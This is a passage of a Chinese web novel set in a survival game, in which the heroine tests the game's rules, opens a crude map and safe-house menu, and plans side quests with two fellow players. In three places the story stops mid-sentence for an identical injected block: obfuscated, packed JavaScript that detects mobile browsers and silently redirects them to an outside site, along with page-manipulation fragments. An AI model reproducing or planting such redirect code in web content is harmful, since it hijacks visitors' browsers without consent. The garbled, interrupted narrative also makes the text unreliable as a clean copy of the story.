就这个临时村长对自己身份毫不掩藏的孔雀开屏劲,在这副本里从内到外都OOC成这样了,也没见系统给他什么看得见的实质惩罚,那要么是游戏本身不在乎角色OOC,要么是他本人对游戏给的惩罚毫不在乎——也就是这惩罚并不重。 但就这么一个连演都懒得演的人,在吊桥旁被自己拽得脸都气变色了,居然也只是口头警告,没有一脚把自己踹开。 喻诗瑭相信以对方的气量,怜香惜玉显然不在对方的考虑范围内,唯一顾忌的大概就是游戏规则了。 所以玩家在没有触犯规则的前提下,不管是不是玩家,NPC都不能攻击玩家这个规则成立。 接着就是这临时村长让他们原地解散,各回各家那里。 谷琳琳鼓起勇气要求他送人回家时,他都狼狈到分分钟原地暴走的程度,竟然都没直接拒绝,而是咬着牙问谷琳琳“为什么?” 直到谷琳琳半天没憋出个第三个字,他才让对方让开,而且他当时说的是“说不出就让开”。 那如果当时谷琳琳说出了一个理由呢?他还会,或者说还能拒绝吗? 本来她就想找机会试一试自己的假设,因此当她在村长家看到对方慢条斯理地走进来时,立刻抓住了这个计划外的机会,当着吴婶的面要求对方送自己回家。 结果呢? 这哥们都恨得牙痒了,也只是搬出一个理由来让吴婶帮忙拒绝,最后在吴婶的要求下,还是捏着鼻子同意了。 所以是不是表示,只要玩家的要求合理,NPC在没有可合理拒绝的条件下,都不能拒绝玩家的要求? 喻诗瑭想了想,决定在自己招人烦的路上继续添砖加瓦:“你这风格这么OOC,游戏不管你吗?” “你这么戏精游戏不也没管你?”小谢村长斜着眼白了她一下。 也没管? 喻诗瑭了然,看来NPC可以不回答玩家关于游戏外的问题,同时NPC的形象跟行为OOC,也确实不在违规范围内。 同样的,玩家OOC也一样,只要不触犯规则,怎么作都不会死。 这么一看,这游戏还是挺宽容的嘛。 喻诗瑭还想再从他这钓一两句话,小谢村长却猛地停下脚步,扭头看向她,表情发生了些微妙地变化:“你套我话?” 喻诗瑭脚步一顿,面上不显,但心里还是被这人的敏锐给惊了一跳,第一反应就是思考是自己演技哪里出了问题。 “我没明白。”喻诗瑭眨了下眼,顶着这风格的脸都能摆出自然无辜的神态,“我套你什么了呀?” “不用跟我演,我见过比你还能演的。”这人显然没那么容易被喻诗瑭糊弄过去,一字一句地开始拆,“先不说你刚才在灵堂搞的事,就以你在吊桥旁的反应,你都不该听不懂我在说什么。” 就说呢,这人这么高调跟嚣张还能活到现在,原来原因在这呢,这反应能力比她以为的还高,差点就被他这花里胡哨的样子给蒙住了。 喻诗瑭摇摇头,整个人看上去更茫然了:“我真听不懂你在说什么,刚才吊桥那我纯纯是本能反应,我觉得换任何一个人,肯定都跟我一个反应,对吧?” “当然不对。”小谢村长眼睛一眯,肯定地说:“你是第一轮的新人吧。” 这骗不了,太容易露馅了,而且他用得是肯定句。 只是喻诗瑭虽然没打算装,但她也没正面回答:“为什么这么问?” “哼。”小谢村长头一抬,右眉一挑,骄傲得不行,“因为除了新人,这个游戏里没人会不认识我。” 喻诗瑭差点没绷住表情。 哇,这么不要脸的角度还真不在她预想内,一时间有点接不上话了呢。 不过显然对这个小谢村长来说,喻诗瑭接不接话都不妨碍他继续显摆。 他抱着双臂,右手拎着煤油灯,左右晃了晃,给出了一个评价:“不过你也算厉害,新人胆子这么大的,除了你以外,我也就见过一个。” “哦?”喻诗瑭来了兴趣,“另一个是谁?” 小谢村长哼笑一声,比了比自己:“当然是我。” 喻诗瑭:“……哇。” 人怎么能一次又一次地刷新不要脸的下限呢。 “呵,我告诉你……”小谢村长开了个头又诡异地停了下来,在喻诗瑭疑惑的眼神中突然问道,“你叫什么?” 喻诗瑭真懵了:“哈?” “名字,叫什么,很难理解?” 喻诗瑭觉得这人的耐心跟脾气,真是和今天的月亮一样,屁都看不到一点。 左右也不是真名,没什么不能说的:“喻塘锦。” “什么?”没想到对方听到这名能跟被针扎到了一样,脸色涨红不说,连声音都拔高了两个度,“你说你姓什么?!” 看对方这架势,喻诗瑭眉心一跳,还是用了被希泽误会的字:“喻,口,俞,喻。” “我最讨厌姓喻的了!”小谢村长说完像是还不解气一样,又愤愤地加了一句,“果然你们姓喻的心眼子都多!都是戏精!” 喻诗瑭:“……” 不是,先不管地图炮这事讲不讲理,喻是什么很大众的姓吗?怎么谁都认识个姓喻的?! 见喻诗瑭没有说话,小谢村长再次加重语气强调了一遍:“我最讨厌姓喻的!” 喻诗瑭对这个评论不置可否,她觉得就算她说自己姓张,估计对方也会来一句,“我最讨厌姓张的了!” 于是她点点头,带着遗憾的表情说:“那还挺……可惜?” “不觉得遗憾就不要演了。”小谢村长一脸嫌弃地把之前没说完的话补全,“我告诉你姓喻……新人,不要觉得自己有点小聪明就有恃无恐,在这个游戏里,最不缺的就是扮猪吃老虎的玩家。” 喻诗瑭想过对方可能会阴阳,嘲讽,或警告,唯独没想到居然是提醒。 她默默在心里把那句“人要尊重物种多样性的存在”给删了,想着要不说句谢谢,但一看到对方恨不得上天的骄傲表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664447|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想犯贱的心就开始莫名蠢动起来,故意说:“不是说NPC跟玩家联手算作弊吗?” “你人长得普普通通,想得倒是美美丽丽。”小谢村长一个大白眼从左翻到右,一副懒得再跟你多说一个字的拽样,一个转头继续往前走,同时还不忘扔下一句,“跟上。” “哦。”喻诗瑭拉平嘴角,既没对他说的普普通通做评价,也没再多问其他。 村子本来就不大,如果他们刚才没在半路上耽误一下,只要再走两步过个拐角,就到喻诗瑭在这个副本里的“家”了。 房子比她想象的要大,但看着相当破旧,木质的大门没上锁,被她轻轻一推就开了,同时发出的还有老旧木头摩擦产生地吱呀声,瞬间让她想起刚才上吊桥时听到的声音。 真不是什么美好回忆。 喻诗瑭立刻把这联想给丢到一边,探头往里看去。 屋内漆黑一片,可视范围只有门口一小块地,还是因为门外挂着的两个灯笼。 喻诗瑭也不废话,当着小谢村长的面就把门口的灯笼摘了下来充当照明。 对方看了一眼她的举动,发出一声哼笑。 喻诗瑭权权当没听见,人刚迈进屋就是一个潇洒地转身,对着小谢村长微微一笑,“辛苦,再见”这四个字跟关门的动作几乎同时出现。 “吱呀——啪!” “你!” 同样一起发出的还有木门被关闭的声音,以及小谢村长才冒出的字。 反正眼下肯定是没什么能继续套话的机会,她也不打算继续跟这只千年狐狸演什么聊斋,那就没必要把时间浪费在他身上,有这时间说不定能多找一些线索呢。 喻诗瑭也没管对方离没离开,拿着灯笼按着门边就开始找。 通常客厅的大灯都被按在大门边,方便住户进出,喻诗瑭看了半天也没看到一个像开关的东西,只在门边看到一根悬在半空的绳子。 她伸手摸了摸,绳子很细,但非常硬,一头吊着一个黑色的小挂坠,另一头被挂在墙壁上面方,看不太清。 挂了什么吗? 喻诗瑭拉着绳子往一旁退了退,用手中的灯笼照着上方,跟着轻轻拽了拽绳子。 灯笼的照射范围有限,上面也没传来什么动静,但她能明显感觉到绳子另一头的东西像是能被拉动的。 她又试着加大了些力气。 随着绳子被用力拉至极致,上方突然传来一个沉闷的“咔”声,喻诗瑭下意识松开手,绳子从她手中回弹,随着一声“哒”地响起,屋内瞬间亮起了稍显昏暗的灯光。 居然是开关吗? 喻诗瑭扭头,顺着绳子朝上看,发现绳子的另一头被扣在一个黑色的圆钮里,几根灰色的电线从圆钮的上方穿出,顺着墙壁跟房梁连接到客厅中间悬挂着的灯泡上。 原来以前灯的开关是这样的啊。 喻诗瑭有些新奇地把灯笼放到桌上,正准备好好摸索一下这个房间,系统音就先一步响了起来。 “叮!恭喜玩家完成个人任务‘找到自己家’,个人积分+10,请再接再厉~” ? 喻诗瑭脑门上冒出一个硕大的问号。 不是,这任务所得的积分,居然比上一个差点团灭他们的任务多一倍? 12. 三更鼓 这游戏难道不是按任务困难度来给积分的吗?总不会是找到“家”比“活着”更难吧? 喻诗瑭难以理解,正要打开任务面板确认时,系统又“叮”的一声冒出来。 “叮!恭喜玩家获得安全屋开启权限,副本地图已解锁,请玩家自行选择安全屋位置~” ?还有新东西?副本地图能猜到,不过安全屋又是个什么? 喻诗瑭听话地打开任务面板,发现任务面板右上角原本暗灰的小房子亮了起来。 刚才半天按不动的时候,她还以为就是个装饰呢,原来是还没开启。 嗯? 喻诗瑭突然注意到,任务面板上出现变化的不止任务地图,除了又变回“未领取”的个人任务外,公共任务那一栏也变了,从原本的“未完成前置”变成了“待领取”。 等等?她是什么时候完成的前置?为什么系统没有提醒?bug了? 喻诗瑭怀疑是系统出了什么问题,她关掉任务面板又重新打开,连着三次开关都没能改变“待领取”这三个字。 难道是系统提醒出了bug?前置任务时忘“叮”了?那一会等它反应过来后,不会又把任务收回去吧? 不会这么不认账吧……喻诗瑭边嘀咕边把光圈移到“小房子”上轻轻按下。 一个地图弹框随即跳出。 喻诗瑭沉默。 这玩意你说它是地图,还不如说它是草图,全靠横竖圆圈波浪线勾出个大致轮廓,其简易程度堪比学前班的简笔画——还是黑白版的。 她看了半天才看明白,横竖线条表示路,方形上面堆了个三角的是房子,那几条交错的波浪线则是村子外面的小河,圆圈是啥她暂时看不出来,毕竟连个标记都没有,还不如写俩字上去,看着都不至于这么寒酸。 能让这地图过审,还真是锅都不知道该往哪个部门头上盖。 喻诗瑭放弃对美工做出评价,唯一希望的就是功能不要也想草稿。她用光圈在地图上面扫过,发现闭合的图形在光圈过去的瞬间会从浅灰色变成绿色。 居然真能用? 她一个紧急刹车,随便找了个房子样式的框点了下去。 另一个提示小框随即跳出。 “提示:安全屋开启后将自动扣除玩家30积分,扣除积分无法返还,开启后地点无法更改,开启的安全屋仅在本轮副本对开启玩家生效,可100%保证开启者在安全屋内的安全,请玩家谨慎确认,是否将此处作为您的安全屋。” “确认”——“取消” 面对一大串提示,喻诗瑭眼睛闭了又睁,只想确认那个需扣除的积分数字不是自己眼花。 两个任务积分就15了,一个安全屋才需要30积分?还是100%保证玩家安全,这跟白送有什么区别?她怎么这么不信呢。 不说从谷琳琳那里听到的关于这游戏的现状,单凭在吊桥那差点被弄死的经历,还有在他们面前生生被“鸡”啄死的人,她就不相信这游戏能有这么善良。 可无论她怎么研究这提示,甚至拆了看,都没拆出什么文字游戏。 太怪了,因为太合理反而就不合理了……算了,纠结得不到结果,明天去找谷琳琳问问再说。 喻诗瑭利索地关掉界面,决定先在房里转悠看看,说不定能捡到什么能触发任务的机会。 刚在外面看的时候,喻诗瑭还觉得这房子挺大,但只会实际走进来后才发现,整个房子的总面积其实没多少,只不过因为房子是扁长形,从正门看宽,从侧面看就窄了。 喻诗瑭:“……” 等等,她怎么觉得这格局这么像棺材呢?细长细长的。 默默把脑袋里不吉利的想法甩掉,喻诗瑭开始从客厅中间的柜子翻起。 结果就是一连开了几个抽屉都毫无线索,抽屉里基本都是一些杂物,稀稀碎碎的,大部分是一些做手工的针线,还有一些铅笔头,橡皮块之类孩子的学习用品,看着不像是被整理进去的,更像是被人随意丢进去的。 奇怪了,她当时在老村长家明明听到有人说,在他们家客厅见过他们一家人的合照,可她都把客厅唯二的柜子翻了个底朝天,还是没有看到照片的影子。 喻诗瑭在客厅站了一会,目光在客厅两端被关上的木门上来回扫了一圈,最后迈步朝左边的房间走去。 老旧的木门依旧被轻松推开,但“吱呀”刺耳的声音又给人一种困难的感觉。 客厅灯泡所产生的昏暗灯光不足以照亮房间里面,喻诗瑭靠着门边摸索了一下,很快就抓住了那根正在晃荡的开关。 “咔哒。” 屋内灯光亮起的瞬间,喻诗瑭第一眼看到的就是不足两米远的墙壁上,挂了两张跟她视线齐平,并排而放的黑白照,照片里的一男一女此时正冲着她亲切微笑。 喻诗瑭刚准备往里迈的右脚顿时悬在一半,一连在心里念了十遍“凝视效应”,才小心翼翼地把脚放进去。 房间跟客厅一比就小得可怜了,成年人张开手臂都没法在里面原地转个圈,感觉这房间像是特地隔出来专门放这两张遗照的。 因为整个房间除了遗照,就只剩照片下方摆放的一个小台子了。 台面除了常年累计的灰尘外空空如也,喻诗瑭拉开中间唯一的抽屉,一张不过巴掌大,保存完好的照片出现在她视线里面。 是一张黑白的三人全家福。 喻诗瑭拿起照片,照片中间站着的女孩跟现在的她长得一模一样,而被她挽着胳膊,站在她两侧的,正是遗像上的两人。 她翻过照片,照片的背面有一排漂亮的钢笔字。 “爸爸妈妈我们要永远在一起——女儿·小枫” 所以这个副本里自己的父母是死了? 喻诗瑭犹豫了下,还是把照片放了回去,确认抽屉里没有其他东西后才关上。 没在这间房里久留,喻诗瑭转身离开去了另一个房间…… ? 即使过了一夜,村长的院子里依然不少人在进进出出。 喻诗瑭才从另一条小巷绕出来,就看到整希泽正蹲在村长家斜对角的榕树后面,拿着根小树枝,百无聊赖地戳着地面。 “干嘛呢?”喻诗瑭走到他面前,“没事在这破坏建模。” “小喻姐小喻姐,你昨晚怎么样?没事吧?睡得好吗?”希泽猛地站起来,两眼放光的一连串关心后是焦急的一句,“你的副本地图开了吗?” “嗯,开了。”知道对方想问什么,喻诗瑭先回答了,“但是我的积分不够开安全屋,所以我没开。” 希泽突然双手握拳,分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668471|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出是着急还是激动地上下挥动了两下,语出惊人:“我开了个诶!” 嗯? 喻诗瑭的疑问几乎是脱口而出:“你哪来的30积分开安全屋?” 这小子果然是扮猪吃老虎,真的莲蓬精! “没有啊。”希泽慌忙摆手解释,“我就15积分。” “那你怎么开的?” “我就点了确认,它就给我开了啊。”希泽嘿嘿一笑,挠了挠头,“所以现在我的积分是负十五分。” 喻诗瑭:“………………” 原来不是扮猪吃老虎,是真猪,这算变相贷款吗? “我也不知道它说扣就扣。”希泽无奈摊手,“我以为它会提醒我积分不足,无法开启呢,你不觉得这个听上去比较合理吗?” 我觉得你的脑子跟游戏的设定都不合理! 喻诗瑭微笑点头:“你说的对。” “是吧!”希泽愤愤地说,“跟付款一样,‘唰’得一下说扣就扣,连个按密码的机会都不给!等我回过神的时候它已经是负数了。” 喻诗瑭无语,那她还能怎么办呢?她也只能转移话题安慰:“没事,还好只是负十五分,两个任务就回来了。” “你说的对!”希泽自我修复的能力还挺快,双手朝天一张,瞬间又充满干劲,“来吧!让任务来得猛烈点吧!” 希泽尾音都还没落,一个上了些年纪的大婶就朝着两人小跑过来,边跑还边冲两人招手:“诶!老王家的闺女,还有那个老刘家的小伙,对对就是你俩。” “怎么回事?”希泽迅速收回手,警惕地问身边的喻诗瑭,“我们要理她吗?” “这能不理么,都冲我们来了。”喻诗瑭嘴唇都不带动一下的说完这句,立刻笑脸盈盈地冲已经到面前的大婶说,“婶子什么事这么着急忙慌的啊,您招呼一下我们不就过去了吗。” “哎,也不是什么大事,就是想请你俩帮个小忙。”大婶大大咧咧的动作里透露着些许肉眼可见的尴尬。 还真有事啊。 喻诗瑭语气自然熟络得跟亲侄女似的:“说请可见外了啊婶,有什么事您说就是,咱们自己人那不都是一句话的事。” “是啊是啊。”希泽不懂,但捧哏技能依旧满点。 “是这样的…哎,你看这事。” 大婶欲言又止地走了两轮客气,最后才在喻诗瑭第三轮地“劝说”下开了口。 “这不,这几天来给老村长送行的人也都陆陆续续的来了,你俩对村长的感激婶昨天都看在眼里,知道你俩有心,所以想请你俩来村长家帮帮忙。” “那肯定的啊,我们回来不就是为了村长的事吗。”喻诗瑭接得那叫一个顺,“就是我俩年纪轻,去了也不知道该做些什么,生怕自己跟昨天一样给大家添麻烦。” “怎么说话的呢!不麻烦,一点都不麻烦!而且要的就是昨天那个效果!”大婶一拍大腿说,“你俩就照着昨天那样发挥就行!” “叮,恭喜玩家获得支线任务‘哭丧’,若任务成功,玩家将获得‘规则’一条,若任务失败,玩家将被扣除相应积分,请玩家选择是否接受任务。” “??!!” 喻诗瑭震惊地看向希泽。 这人嘴巴开光了吧,这任务还真说来就来啊! 13. 三更鼓 “行!那就这么说定了啊,你俩一会得空了直接过来,婶给你们留饭啊。”大婶一脸满意地拍了拍两人的手臂,离开的时候还一步三回头来回叮嘱,像是怕他们跑了一样。 喻诗瑭笑脸盈盈地一路目送大婶离开,眼睁睁地看着对方上一秒还是喜笑颜开,下一秒踏进村长家的院子后就瞬间变了脸色,三分沉重,三分惋惜,四分悲痛,展现出十成功底连哭带嚎。 “看到没。”喻诗瑭对身边的希泽说,“这就是老戏骨。” “嗯嗯!”希泽在一旁猛点头,末了还是强调了一下自己唯粉的属性,“小喻姐你哭的也好,惊天动地还带层次。” “我们还要多学习。”喻诗瑭淡定地摆摆手。 “也是,昨天我回去总结跟反省了一下,觉得自己发挥的又干又不稳。”希泽一握拳,干劲满满,“今天的‘哭丧’我一定给他哭出个层次感觉。” 还没走到两人身后就听到声音的谷琳琳:“……” 不是?!怎么今天还在走“哭丧”的剧情?!哭个丧还能哭上瘾了? 察觉到有人靠近,喻诗瑭转身就看到表情有些呆滞的谷琳琳,打了个招呼:“早。” “……早。” “哇你怎么才来。”希泽一脸你吃大亏的可惜,“你知道你错过了什么吗!?” 谷琳琳的表情立即从呆滞变得紧张起来:“什么?” “你错过了一个任务!你知不知道,刚才——”希泽立刻把刚才支线任务的事给倒个干净。 一开始还满脸紧张的谷琳琳,越听脸上情绪越多,紧张,疑惑,可惜,庆幸,挣扎,最后融为平静,堪称精彩。 “你看!昨天你要是跟着我们一起哭,今天早点来,说不定你也能拿到这个任务,诶对了。”希泽学着刚才大婶那样一拍大腿,开始出主意,“一会你跟我们一起去要任务怎么样?” “要任务?”谷琳琳五个副本下来还是第一次听到这个用词,“什么意思?” “啊?就是字面意思啊。”希泽看上去比谷琳琳还疑惑,“就是一会你跟我们一起进去哭,把人家哭满意了,然后我去帮你跟大婶要一个,这样咱们就有三条‘规矩’在手上了!” 希泽的一个“咱们”让谷琳琳有片刻失神,等希泽说完后她还是摇摇头:“所有支线任务只会发布一次,我一会就算把老村长家的天花板给哭下来都没用。” “不是啊。”希泽指了指喻诗瑭,又比了比自己说,“小喻姐跟我都拿到了任务了。” “她说的是只会发布一次,不是只能给一个人。”喻诗瑭在一旁提醒。 “对对。”谷琳琳赶紧解释得更详细些,“所有支线任务NPC只会发布一次,而且只给触发者,像昨天因为是你们两同时哭,今天又是同时见到NPC,所以NPC发布任务时你们才会同时接到。” “哦,原来如此。”希泽虽然还是觉得可惜,但依旧乐观,“没事,咱们怎么也捞到了两个‘规则’,下次再一起行动就有三个,怎么都比别人多。” 谷琳琳抿了下嘴,眼睛微弯地“嗯”了一声。 “等等。”喻诗瑭歪着头想了下问,“如果按照你刚才的说法,要是今天我跟希泽不是同时见到NPC,而是一前一后,是不是就表示后面来的那个人,如果错过了NPC发布任务的时机,就领不到任务了?” 谷琳琳点头:“是这个意思。” “那如果昨天有玩家在我们之前先触发了任务,又怎么算?”喻诗瑭见谷琳琳表情有点懵,又把问题详拆了一下,“就是领取任务的优先权,是以谁先触发为准,还是以NPC发布任务时先见到谁为准?” “嗯……好像没有明确的官方说法。”谷琳琳也有点拿不准,“但是根据之前我见过的情况来看,还是以NPC发布任务时见到谁为准。” 说完谷琳琳有些不好意思地补充:“其实你们这种隔了一夜才领任务的,我也是第一次见,之前我见过的支线任务都是当场发布的,我觉得可能是因为昨天太混乱了,NPC自己也没反应过来,再加上也只有你俩干了那事,所以NPC才会一直到拖到今天见着你们时发布。” “哇,稍微复杂点的情况NPC就卡壳。”希泽的关注点还是那么的不同寻常,且从不隐藏自己对龙纹的嫌弃,“龙纹游戏的优化还是这么一如既往的烂。” “是啊。”喻诗瑭思考的同时还能接上希泽的话,让希泽很是满足。 一旁的谷琳琳则是越看越觉得这两人的互动眼熟……怎么有点像她大姐跟她那个六岁侄子的日常呢? !!! 感觉自己想岔了的谷琳琳疯狂摇头,使劲把这诡异的代入感给扔出大脑。 “……” 喻诗瑭刚要问谷琳琳问题,就看到对方在那闭着眼睛猛摇头,沉默了一下才轻声问:“你怎么了?” “没!哈…哈……”谷琳琳尴尬一笑,“我就是今天起得有点早,想清醒清醒。” “正常,靠自己能早起就已经很厉害了。”喻诗瑭点点头,顺着她的话往下问,“你们昨晚回去以后,有发生什么特别的事吗?” “完全没有,一觉到天亮。”希泽抢先回答,比着大拇指在那夸,“那俩老大爷人可好了,直接给我送到床上,我本来想着等他们走了就起来看看屋子,结果躺着躺着就真睡着了,一睁眼天都亮了,我就急急忙忙地赶来了。” 希泽说完还不忘自我感慨一句:“这么一看,我睡眠质量也是挺好的嘛。” “……挺好,睡得好就好,体力保留最重要,你呢?”喻诗瑭给希泽拍了两个鼓励的掌声,然后问谷琳琳,“你呢?” “我昨天没怎么睡,比较特别的事…大概就是又听到了两次更鼓?但没发生什么事,后面我睡不着,就把房间给检查了一下。” 谷琳琳从口袋里拿出一样东西递到喻诗瑭面前:“这个是我在屋子里找到的,我觉得你应该用的上,我就给带来了。” ? 喻诗瑭疑惑地接过,东西看着有点眼熟,是一条带着细银链的银色扁圆块,圆块上下两面都很光滑,只是边缘有个小凸起,她刚伸手摸到那块凸起,扁圆块的上半部分就弹开了,露出里面还在运行的表盘。 喻诗瑭有些惊讶:“怀表?” “这个叫怀表吗?”谷琳琳好奇,“我还是第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673511|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次见到这种样子的表。” “我好像在哪本古历史书上看到过。”希泽也凑了过来,“但实物还是第一次见到。” “这个准确来说,算建模。”喻诗瑭提醒了一句,跟着颠了下手中还算有分量的怀表说,“这种表在地球时期就已经没人在用了,后期的地球人大部分在用的都是智能手表,也就是现在‘个人终端’的前身。” “原来是这样,可是这个为什么没有人用了啊?这个可比‘个人终端’好看多了。”谷琳琳看着还挺喜欢的。 “因为功能单一,佩戴跟看都麻烦,还得人工校正跟维修,所以早就被淘汰了。”喻诗瑭问她,“现在的‘个人终端’不好吗?个人信息,社会讯息,工作,花钱,全都集中绑定在智脑终端上,跨星系出行都不用带其他的。” “也不是说‘个人终端’不好,就是觉得……太单一了?”谷琳琳自己也说不清那种感觉,“说不上来,就觉得所有人的信息都被绑在一起,总有一种……同化感?但你要说真的都拆开的话,也确实…没那么方便。” “便捷跟繁琐的矛盾点,说不好,这个谢谢。”喻诗瑭收起怀表道了声谢,算是终结了这个话题,“对了,一会你是想去其他地方转转,看看有没有可以触发支线任务的机会,还是想跟我们一起去老村长那先完成任务?” “啊……” 提到任务,谷琳琳瞬间有了新的纠结点,她想跟喻诗瑭他们待在一起,比较有安全感,但是一想到他们一会要做的任务,立刻就迟疑了。 没给谷琳琳太多纠结的时间,系统音先一步响起。 “叮,恭喜玩家开启规则一条~请各位玩家务必好好遵守规则,再接再厉~” 这条规则开启得猝不及防,不等三人反应,就听到系统又跳了提醒。 “叮,叮,恭喜玩家开启规则两条~请各位玩家务必好好遵守规则,再接再厉~” “怎么还有同时开两条的?”希泽惊讶,“同时完成了两个任务?” “有这个可能,但也有另一个可能。”谷琳琳说,“那就是像你们这样,两个人领到了同一个任务,并且同时完成了任务。” 喻诗瑭:“那如果是领到同一个任务,但不是同时完成的,还会一起报吗?” “啊…这个…”谷琳琳又卡住了。 “嗯没事。”看出她的尴尬,喻诗瑭帮着补道,“一会我跟希泽试试。” “嗯嗯。”希泽习惯性点完头才疑惑,“可是,试这个干嘛?规则不才是最重要的吗?” “虽然现在还不知道能用来干嘛,但不代表以后用不上,知己知彼百战不殆总听过吧。”喻诗瑭难得认真地说,“想要利用某个规则的前提,是你要比制定规则的人,更加了解它的漏洞,明白吗?” “哦~”希泽表情似懂非懂,但不妨碍他回应得快。 谷琳琳没出声,只是跟在一旁点头,看表情起码比希泽理解的透。 “走吧,别人都超我们一大截了。” “叮~”再次响起的系统提示音像是在肯定喻诗瑭的话。 “目前公共任务进度为20%,各位玩家要再接再厉哦~” 14. 三更鼓 “叮~目前公共任务进度为20%,各位玩家要再接再厉哦~” 在听完系统提示任务进度的第一时间,喻诗瑭近乎本能地打开任务面板。 公共任务:待领取 还是待领取?到现在都还没变,看起来应该不是系统bug了。 喻诗瑭不太在意别人的进度,她只想知道自己是什么时候,怎么就不知不觉地完成了前置。 不过她不在意不代表剩下的两人不在意,不同点仅在于,谷琳琳的在意是害怕,而希泽的在意是来自一条游戏老狗的不肯认输。 “哇塞,别人进度都20%了,我还在原地踏步。”希泽跟被踩了尾巴一样炸毛,“我这公共任务的前置还没——诶?不对?” 希泽炸到一半的毛在看到任务面板时塌了回去,他也试着开关了一下任务面板,发现面板上的字确实没有因为自己的重启而有所变动:“奇怪,我记得我的公共任务那边之前是未完成前置,怎么突然就变成待领取了?我干啥了?系统怎么没提醒我?” “我的也变成了待领取。”喻诗瑭问他,“你昨晚看过任务面板吗?” “没啊,我回去就睡着了。”希泽这波倒是反应得很快,立刻就明白了喻诗瑭的意思,“我们是昨晚就已经变了吗?难道系统是在我睡着的时候提醒的?” “应该不是,我的昨晚就变了,但我一样没有听到系统提醒。”喻诗瑭看向在场唯一有可能知道原因的人。 “前置任务是不会提醒的。”谷琳琳在喻诗瑭看过来前就赶紧开口解释,“我不是故意不说的,是我自己也不确定完成前置任务的具体情况,因为游戏里根本就没有对前置任务的介绍,待机界面那边都只有一句需完成前置,无论是前置中,还是完成前置,系统也从没提示过,所以我自己每次都过得稀里糊涂。” 听出谷琳琳声音里的慌乱,喻诗瑭思索了一下问:“那你有什么想法吗?” “想,想法吗?”谷琳琳有些慌张,她该有什么想法? “嗯对,想法,或是随便什么猜测都可以。”喻诗瑭温声引导了下,“你试着回想一下,你在完成前面四个副本的前置时,都有什么跟自己有关的共同点,例如个人任务或是支线任务的完成度,有没有见过固定的NPC?有没有听到什么一致的话,或是有没有做过什么同样的举动,任何都可以。” “我,我不确定。” 谷琳琳攥着衣角的手指开始无意识地用力,紧抿着的嘴唇上下动了动像是在自我对抗,好半晌才艰难地开口:“但…但我猜测…或许,也许,也许它有可能跟主线相关的人物,或是主线地点有关的吧,因为我每次完成前置时,个人任务还有支线任务的完成度都不一样,也没做过什么特别的举动。” “而且每个副本内容都差的特别多,我从来没有见到过同样的NPC,我能想起来的相同点…目前就只有在副本主线地点接触过跟主线相关的人物,至于重点是主线地点,还是跟主线相关人物,我真的确定不了……就这些了。” 谷琳琳开口第一句的用词还在颠来倒去,第二句就已经逐渐平静下来,一直到她说完自己的猜测,音量都比之前稍高了一些。 “已经很足够了。”喻诗瑭没再继续追问,而是又跟她确认了一个问题,“你说的主线,是指我们这个身份在这个副本里的目的吗?” “是的是的,就是我们进这个副本时,那个村长不是说过吗?我们是村民,回村是为了参加老村长的葬礼,这就是我们的主线,老村长停放棺材的家就是主线地点,老村长的家人就是跟主线相关的人物。” 谷琳琳又举了个自己之前的例子:“像我之前有个副本的身份是花店员工,要在一周内卖掉要求的销售额,那个花店就是我的主线地点,花店老板就是跟主线相关的人物。” “明白了。”喻诗瑭总结了一下,“所以主线地点只有一个,但主线人物有可能不止一个,是这个意思吗?” “对就是这个意…啊!”谷琳琳赞同到一半语调骤变,恍然大悟道,“是主线地点!” 喻诗瑭:“哦?怎么说?” “所有人的公共任务都是一致的,所以前置肯定也是一致的,这是系统的‘公平’,既然要公平的话,前置就不可能是随机刷新在某个地方的NPC,因为这样就‘不公平’了,万一有人运气差一直跟NPC错过呢?”谷琳琳语气是强压不住地兴奋,“小喻姐,你觉得是这样吗?” “我觉得你逻辑上很合理的。”喻诗瑭给完肯定又转身问希泽,“你呢?你怎么觉得?” “啊?我吗?”正听得入神,突然被点名,希泽懵了一下,嘴比脑子先回答,“我听着没啥问题啊,我就是在想,这个游戏真的能做到极致的‘公平’吗?” “额……这个……”谷琳琳不知所措地看着喻诗瑭,刚起来的兴奋肉眼可见的淡下去不少,担心自己会不会给喻诗瑭一些信息上的误导,导致她出现误判的情况。 “起码到目前为止,我们按照它所谓的‘公平’是能摸索出一条逻辑的。”喻诗瑭提醒他,“暂时验证不了的事,我们就先挂假设,再找机会验证就行,我们现在要做的是先赶上别人的进度。” “也是!”一听到进度希泽又准备炸毛,“那些人的进度都好快啊,唰唰唰地过任务,哐哐哐地开规则,我们前置是有了,可公共任务要在哪里领?而且我们支线也没做,个人任务也没有新的,嘶——怎么感觉我们的进度这么慢啊?” 希泽说着说着还把自己说急了。 